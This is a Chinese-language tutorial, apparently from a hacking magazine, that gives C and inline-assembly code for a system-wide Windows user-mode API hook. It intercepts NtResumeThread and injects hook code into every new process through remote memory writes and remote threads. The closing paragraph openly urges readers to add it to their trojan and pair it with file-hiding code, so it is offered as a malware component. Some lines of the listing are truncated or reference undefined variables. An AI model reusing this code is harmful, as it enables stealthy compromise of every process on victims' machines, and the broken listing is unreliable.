API攔截——實(shí)現(xiàn)Ring3全局HOOK

首先來(lái)解釋一下這次的目標(biāo)。由于windows的copy-on-write機(jī)制（Ring0下可以用CR0寄存器關(guān)掉它），Ring3下的HOOK只對(duì)當(dāng)前進(jìn)程有效，其他進(jìn)程的API還是正常的。這就是說(shuō)我們必須枚舉進(jìn)程，然后對(duì)每個(gè)Ring3進(jìn)程執(zhí)行一遍HOOK操作。

但是，系統(tǒng)中總有新進(jìn)程產(chǎn)生，對(duì)于這些新進(jìn)程我們?cè)趺刺幚砟?？最容易想到的就是設(shè)置一個(gè)TIMER，每隔一段時(shí)間就枚舉一遍進(jìn)程然后把新的掛鉤。但仔細(xì)一想就知道不行，TEMER過(guò)快嚴(yán)重影響系統(tǒng)效率，慢了又起不到作用，況且windows不是一個(gè)實(shí)時(shí)操作系統(tǒng)，沒(méi)人能保證到時(shí)間TEMER就被激活。如果我們能監(jiān)控進(jìn)程創(chuàng)建，并在他們真正運(yùn)行之前就執(zhí)行掛鉤操作，就可以完美的解決問(wèn)題。
但是如何做到這一點(diǎn)呢？我們知道Ring3的進(jìn)程都有一個(gè)“父進(jìn)程”也就是說(shuō)新進(jìn)程都是由老進(jìn)程創(chuàng)建的（驅(qū)動(dòng)很少創(chuàng)建進(jìn)程）。知道這一點(diǎn)就好辦了，我們要做的只是截獲進(jìn)程創(chuàng)建。你肯定會(huì)說(shuō)“這么簡(jiǎn)單，HOOK NtCreateProcess就可以了！”但是這不是最簡(jiǎn)單的做法。為什么這么說(shuō)呢，首先在NtCreateProcess函數(shù)被調(diào)用時(shí)進(jìn)程并沒(méi)有真正被創(chuàng)建，我們無(wú)法執(zhí)行HOOK操作，而當(dāng)NtCreateProcess返回時(shí)，進(jìn)程又已經(jīng)開(kāi)始運(yùn)行，HOOK時(shí)存在線(xiàn)程同步的問(wèn)題（我用OD在NtCreateProcess設(shè)下INT3斷點(diǎn)，卻攔不到，不只是為什么？）。
所以我選的函數(shù)是NtResumeThread。我們知道，當(dāng)新進(jìn)程被創(chuàng)建時(shí)，OS會(huì)為其創(chuàng)建一個(gè)住線(xiàn)程，而在這之后會(huì)調(diào)用NtResumeThread時(shí)期開(kāi)始運(yùn)行，這時(shí)初始化完畢，DLL都已經(jīng)被載入，但進(jìn)程卻沒(méi)有開(kāi)始運(yùn)行這時(shí)我們最好的機(jī)會(huì)（HAHA，天助我也HAHAHA…）。
NTSTATUS NtResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);
思路是這樣但是怎么實(shí)現(xiàn)呢？來(lái)看一下函數(shù)的定義：
我們關(guān)心的是第一個(gè)參數(shù)，它存儲(chǔ)的是新進(jìn)程主線(xiàn)程的句柄，我們可以通過(guò)調(diào)用ThreadInformationClass=0，ThreadInformationLength=28的NtQueryInformationThread函數(shù)來(lái)獲得該縣城所屬進(jìn)程的PID，然后只要HOOK它就可以了。
話(huà)雖如此，可是如果把HOOK的代碼都放到遠(yuǎn)程去未免太麻煩了。開(kāi)始我想的是用遠(yuǎn)程進(jìn)程調(diào)用CreateRemoteThread來(lái)回調(diào)HOOK進(jìn)程。但仔細(xì)想想就會(huì)發(fā)現(xiàn)，我們?cè)诒镜豀OOK時(shí)有足夠的權(quán)限，可是如果遠(yuǎn)程進(jìn)程是GUEST權(quán)限的呢？回調(diào)時(shí)由于權(quán)限不夠就會(huì)出錯(cuò)。翻了翻《windows核心編程》后恍然大悟：可以使用windows的事件對(duì)象來(lái)實(shí)現(xiàn)。用到的API有：OpenEvent，CreateEvent，SetEvent，ResetEvent。在HOOK每一個(gè)進(jìn)程的時(shí)候，用CreateEvent創(chuàng)建一個(gè)不可繼承、自動(dòng)重置的Event對(duì)象，然后創(chuàng)建一個(gè)線(xiàn)程用WaitForSingleObject函數(shù)等待改Event。當(dāng)攔截到新進(jìn)程創(chuàng)建時(shí)，遠(yuǎn)程線(xiàn)程調(diào)用SetEvent來(lái)激活Event，然后同樣調(diào)用WaitForSingleObject函數(shù)等待。這時(shí)本地的WaitForSingleObject會(huì)返回， 然后再進(jìn)行相關(guān)的處理，然后調(diào)用SetEvent來(lái)讓遠(yuǎn)程hook函數(shù)繼續(xù)運(yùn)行。這樣有個(gè)問(wèn)題就是本題怎樣知道新進(jìn)程PID？我的解決辦法是遠(yuǎn)程調(diào)用SetEvent前先把PID寫(xiě)在HOOK函數(shù)開(kāi)頭的特定偏移位置，然后本地用ReadProcessMemory來(lái)讀取。限于篇幅講得不太具體，如果不懂最好去看一看《windows核心編程》。
好了，理論就講道這里，來(lái)看看代碼，GO！（雖然是在去年的5期文章的基礎(chǔ)上改的，不過(guò)改動(dòng)較大，所以關(guān)鍵代碼已提上來(lái)了。）
首先是hook函數(shù)，主要功能是對(duì)指定進(jìn)程的指定API進(jìn)行hook操作
int HookNamedApi(PDLLINFO pDllInfo, char *ApiName, DWORD HookProc,HANDLE ObjectProcessHandle)
{
DWORD dw, NamedApiAddress,NewFunc;//變量初始化
MEMORY_BASIC_INFORMATION mbi;
static EventInfo myEventInfo;
static Num=0x676e696b;

NamedApiAddress = (DWORD)GetProcAddress(pDllInfo->hModule, ApiName);//目標(biāo)api地址，每個(gè)進(jìn)程的api地址都是一樣的，只要找本進(jìn)程的就可以了。
if(NamedApiAddress == NULL)
{
printf(“Error:GetProcAddress in hook_api”);//錯(cuò)誤處理
return 0;
}

if(!VirtualQueryEx(ObjectProcessHandle,(void*)NamedApiAddress,&mbi,sizeof(MEMORY_BASIC_INFORMATION)))//獲取目標(biāo)api所在內(nèi)存信息
{
printf(“Error:VirtualQueryEx in hook_api”);
return 0;
}

if(!VirtualProtectEx(ObjectProcessHandle,mbi.BaseAddress,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&dw))//分配寫(xiě)和執(zhí)行權(quán)限，因?yàn)槲覀円獙?duì)目標(biāo)API開(kāi)頭進(jìn)行寫(xiě)操作
{
printf(“Error:VirtualProtectEx in hook_api”);
return 0;
}
LPVOID WriteAddress=VirtualAllocEx(ObjectProcessHandle,0,1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配內(nèi)存，寫(xiě)入hook函數(shù)

//計(jì)算備份函數(shù)COPY的位置
NewFunc = NamedApiAddress – (DWORD)pDllInfo->modinfo.lpBaseOfDll + (DWORD)pDllInfo->lpNewBaseOfDll;
//修改原函數(shù)入口處內(nèi)容
if(strcmp(ApiName,”NtResumeThread”)==0)//如果是hook NtResumeThread函數(shù)要做一些處理
{
DWORD my_CreateEventA=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”CreateEventA”);
HANDLE EventFar;
__asm//這里不用匯編vc總說(shuō)類(lèi)型不對(duì)，偷個(gè)懶^_^
{
pushad
push 00000000h
push Num
push 0x676e696b
push esp//構(gòu)造Event名
push 0
push 0
push 0
call my_CreateEventA
mov EventFar,eax
add esp,12
popad
}
*(PDWORD)((DWORD)FarStartUp+9)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”O(jiān)penEventA”);//遠(yuǎn)程函數(shù)的API地址都是動(dòng)態(tài)寫(xiě)入的。這里說(shuō)一句，以前是寫(xiě)入遠(yuǎn)程后用WriteProcessMemory來(lái)改，后來(lái)想到這樣太慢（轉(zhuǎn)到Ring0要1000個(gè)CPU時(shí)間的哦）于是改在本地完成，但我們對(duì)代碼段進(jìn)行了寫(xiě)操作，默認(rèn)是不允許的，所以要用PE修改工具來(lái)給.text段加上可寫(xiě)屬性
LPVOID StartUpAddr=VirtualAllocEx(ObjectProcessHandle,0,500,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配內(nèi)存，寫(xiě)入StartUp函數(shù)，因?yàn)槲覀冇肊vent來(lái)解決，所以要在遠(yuǎn)程打開(kāi)該Event對(duì)象
WriteProcessMemory(ObjectProcessHandle,StartUpAddr,(LPVOID)FarStartUp,500,0);//寫(xiě)入函數(shù)
printf(“%x\n”,(DWORD)StartUpAddr);//調(diào)試信息
HANDLEFarThread=CreateRemoteThread(ObjectProcessHandle,0,0, (PTHREAD_START_ROUTINE)StartUpAddr,(PVOID)Num,0,0);//創(chuàng)建遠(yuǎn)程線(xiàn)程
WaitForSingleObject(FarThread,-1);//等待遠(yuǎn)程初始化完畢
CloseHandle(FarThread);
DWORD ReadBuf;
ReadProcessMemory(ObjectProcessHandle,(LPVOID)((DWORD)StartUpAddr+21),&ReadBuf,4,0);//讀出遠(yuǎn)程的Event句柄數(shù)值，后面寫(xiě)入HOOK函數(shù)
VirtualFreeEx(ObjectProcessHandle,StartUpAddr,500,MEM_RELEASE);//釋放內(nèi)存
*(PDWORD)(HookProc+WRITEBASE+7)=ReadBuf;//寫(xiě)入句柄
myEventInfo.EventFar=EventFar;
myEventInfo.ObjectProcessHandle=ObjectProcessHandle;
myEventInfo.WriteAddress=(DWORD)WriteAddress;//線(xiàn)程參數(shù)
CreateThread(0,0,(unsigned long (__stdcall *)(void *))my_EventProcess_Thread,&myEventInfo,0,0);//創(chuàng)建本地等待線(xiàn)程
Num++;//每個(gè)進(jìn)程用不同的Event，所以名稱(chēng)不一樣
}
*(PDWORD)(HookProc+WRITEBASE)=NewFunc;
*(PDWORD)(HookProc+WRITEBASE+14)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”GetCurrentProcessId”);
*(PDWORD)(HookProc+WRITEBASE+21)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”SetEvent”);
*(PDWORD)(HookProc+WRITEBASE+28)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”WaitForSingleObject”);
*(PDWORD)(HookProc+WRITEBASE+35)=(DWORD)GetProcAddress(GetModuleHandle(“ntdll.dll”),”NtQueryInformationThread”);
*(PDWORD)(HookProc+WRITEBASE+42)=(DWORD)GetProcAddress(GetModuleHandle(“kernel32.dll”),”ResetEvent”);//初始化HOOK函數(shù)，寫(xiě)入API地址

WriteProcessMemory(ObjectProcessHandle,WriteAddress,(void *)HookProc,1000,0);//寫(xiě)入HOOK函數(shù)
*(PDWORD)(&HookCode[0]+1)=(DWORD)WriteAddress;
WriteProcessMemory(ObjectProcessHandle,(LPVOID)NamedApiAddress,&HookCode,7,0);//修改目標(biāo)API首字節(jié)，使其跳轉(zhuǎn)到我們的HOOK函數(shù)
printf(“func:%x\n”,WriteAddress);//調(diào)試信息
return 1;
}
接下來(lái)是遠(yuǎn)程的初始化函數(shù),用來(lái)打開(kāi)Event
void FarStartUp(int Num){//Event名稱(chēng)的后半段，我創(chuàng)建的Event名稱(chēng)都是形如”kingXXXX”
int myOpenEvent=0×10020000;//API函數(shù)地址，動(dòng)態(tài)寫(xiě)入，這條代碼編譯后是類(lèi)似于這樣的匯編碼：mov [ebp+XX],XXXX，修改時(shí)只要把XXXX換成API地址就可以了
__asm call GetMyAddr;//這個(gè)是用來(lái)取得本函數(shù)的地址用的，不知道的話(huà)可以上網(wǎng)查查
DWORD myEventHandle=0×00220000;//本地從這里讀出句柄代碼，HOOK函數(shù)中的代碼類(lèi)似
DWORD FuncAddr;
__asm
{
jmp run//正式運(yùn)行時(shí)跳過(guò)
GetMyAddr:
pop eax
mov FuncAddr,eax
push eax
ret
run:
push 00000000
push Num
push 0x676e696b
push esp
push 0
push EVENT_ALL_ACCESS
call myOpenEvent//構(gòu)造字符串，并打開(kāi)句柄
mov myEventHandle,eax
}
*(PDWORD)(FuncAddr+3)=myEventHandle;//往開(kāi)頭寫(xiě)入
return;
}
這時(shí)上面說(shuō)到過(guò)的等待線(xiàn)程，每HOOK一個(gè)進(jìn)程就有一個(gè)對(duì)應(yīng)的這個(gè)線(xiàn)程，這里本來(lái)應(yīng)該加一個(gè)垃圾回收機(jī)制，即當(dāng)本線(xiàn)程對(duì)應(yīng)的進(jìn)程已經(jīng)不存在了的時(shí)候，線(xiàn)程自我銷(xiāo)毀。不過(guò)還沒(méi)來(lái)得及寫(xiě)^_^
void __stdcall my_EventProcess_Thread(PVOID InEventInfo)
{
EventInfo myEventInfo;
PEventInfo Info=(PEventInfo)InEventInfo;
myEventInfo.EventFar=Info->EventFar;//保存句柄和進(jìn)程信息
myEventInfo.ObjectProcessHandle=Info->ObjectProcessHandle;
myEventInfo.WriteAddress=Info->WriteAddress;//這個(gè)是HOOK函數(shù)句柄
while(true)//循環(huán)等待
{
WaitForSingleObject(myEventInfo.EventFar,-1);
DWORD ReadBuf=0;//當(dāng)對(duì)應(yīng)進(jìn)程創(chuàng)建后WaitForSingleObject返回，執(zhí)行到這里
ReadProcessMemory(myEventInfo.ObjectProcessHandle,(LPVOID)(myEventInfo.WriteAddress+67),&ReadBuf,4,0);//從遠(yuǎn)程讀出新進(jìn)程的PID，在HOOK函數(shù)調(diào)用SetEvent之前會(huì)在遠(yuǎn)程寫(xiě)入。
HANDLE ObjectProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,1,ReadBuf);//打開(kāi)目標(biāo)進(jìn)程
HookProcess(ObjectProcessHandle);//執(zhí)行HOOK操作，本來(lái)應(yīng)改檢查一下該進(jìn)程是否已經(jīng)被HOOK，還沒(méi)來(lái)得及寫(xiě)
SetEvent(myEventInfo.EventFar);//恢復(fù)遠(yuǎn)程Hook函數(shù)運(yùn)行
ResetEvent(myEventInfo.EventFar);//本來(lái)是自動(dòng)重置的Event，不過(guò)為了保險(xiǎn)在重置一下
}
return;
}
下面是精華了哦，重點(diǎn)仔細(xì)看啊。
DWORD __stdcall Hook_NtResumeThread(
HANDLE ThreadHandle,
PULONG PreviousSuspendCount OPTIONAL)
{

int OldNtResumeThread;//原NtQueryDirectoryFile函數(shù)
int EventHandle; //Event句柄，由FarStartUp函數(shù)打開(kāi)
int my_GetCurrentProcessId;
int my_SetEnent;
int my_WaitForSingleObject;
int my_NtQueryInformationThread;//存放個(gè)API的指的變量
int my_ResetEvent;
__asm
{
mov OldNtResumeThread,00112244h
mov EventHandle,00225588h
mov my_GetCurrentProcessId,22447799h
mov my_SetEnent,55662244h
mov my_WaitForSingleObject,55889966h
mov my_NtQueryInformationThread,77554411h
mov my_ResetEvent,55661188h//hook時(shí)寫(xiě)入
pushad//保護(hù)堆棧
}
__asm call GetAddr;//同F(xiàn)arStartUp函數(shù)
int FarRead;
__asm mov FarRead,22550011h;
DWORD myAddr;
__asm
{
jmp start
GetAddr:
pop eax
mov myAddr,eax
push eax
ret
start:
}
DWORD myStatus;//存儲(chǔ)返回變量
BYTE SystemInfo[60];//存放NtQueryInformationThread返回信息的緩沖
int infoaddr=(DWORD)&SystemInfo;//緩沖地址
int CurrentProcess;
__asm
{
push 0
push 28//這里必須是28，則函數(shù)不執(zhí)行，這個(gè)值是我從10到100瓊琚出來(lái)的，辛苦啊555。。。
push infoaddr
push 0
push ThreadHandle
call my_NtQueryInformationThread//調(diào)用NtQueryInformationThread獲得線(xiàn)程所屬進(jìn)程的PID
mov myStatus,eax
}
DWORD *)(SystemInfo+8);
__asm
{
call my_GetCurrentProcessId//獲得本進(jìn)程PID
mov CurrentProcess,eax
}
if(id==(DWORD)CurrentProcess)//如果是對(duì)當(dāng)前進(jìn)程操作就直接返回，免得傳回本地浪費(fèi)時(shí)間降低效率
{
__asm
{
push PreviousSuspendCount
push ThreadHandle
call OldNtResumeThread
mov myStatus,eax
popad//對(duì)應(yīng)開(kāi)頭的pushad，用來(lái)保護(hù)堆棧，下同
}
return myStatus;
}
if(myStatus==0)//如果NtQueryInformationThread執(zhí)行不成功就直接返回，漏hook總比程序死掉好，嘿嘿
{
*(PDWORD)(myAddr+3)=id;//把目標(biāo)PID寫(xiě)道函數(shù)開(kāi)頭
__asm
{
push EventHandle
call my_SetEnent//恢復(fù)本地對(duì)應(yīng)線(xiàn)程運(yùn)行
push -1
push EventHandle
call my_WaitForSingleObject//等待本地HOOK操作完成
push EventHandle
call my_ResetEvent
}
}
__asm
{
push PreviousSuspendCount
push ThreadHandle
call OldNtResumeThread//調(diào)用原NtResumeThread函數(shù)，到這里，新進(jìn)程正式開(kāi)始運(yùn)行
mov myStatus,eax
popad//保護(hù)堆棧
}
return myStatus;//這個(gè)是用來(lái)擺平vc++編譯器的，沒(méi)實(shí)際意義^_^
}
小結(jié)：
最后來(lái)總結(jié)一下思路把，程序分為本地（HOOK程序）和遠(yuǎn)程（被HOOK程序）。
最近Ring0的木馬大行其道，不過(guò)Ring0的東西寫(xiě)起來(lái)太費(fèi)時(shí)搞不好就BSOD，光是弄DDK就花了我一個(gè)禮拜，555…所以我們的Ring3HOOK還是很有市場(chǎng)的，快加到你的愛(ài)馬里吧，只要在開(kāi)頭加一個(gè)枚舉進(jìn)程，所有的Ring3進(jìn)程就統(tǒng)統(tǒng)地被掛上了，再配合以前的隱藏文件……嘿嘿